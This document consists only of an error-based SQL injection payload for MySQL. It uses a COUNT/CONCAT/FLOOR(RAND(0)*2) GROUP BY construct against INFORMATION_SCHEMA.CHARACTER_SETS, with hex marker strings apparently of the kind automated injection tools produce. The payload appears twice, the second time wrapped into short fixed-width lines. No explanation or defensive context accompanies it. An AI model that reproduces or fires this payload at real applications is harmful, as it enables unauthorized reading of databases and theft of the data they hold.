(SELECT 1897 FROM(SELECT COUNT(*),CONCAT(0x7162787171,(SELECT (ELT(1897=1897,1))),0x71787a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

(SELECT 1897 FRO
M(SELECT COUNT(*
),CONCAT(0x71627
87171,(SELECT (E
LT(1897=1897,1))
),0x71787a6a71,F
LOOR(RAND(0)*2))
x FROM INFORMATI
ON_SCHEMA.CHARAC
TER_SETS GROUP B
Y x)a)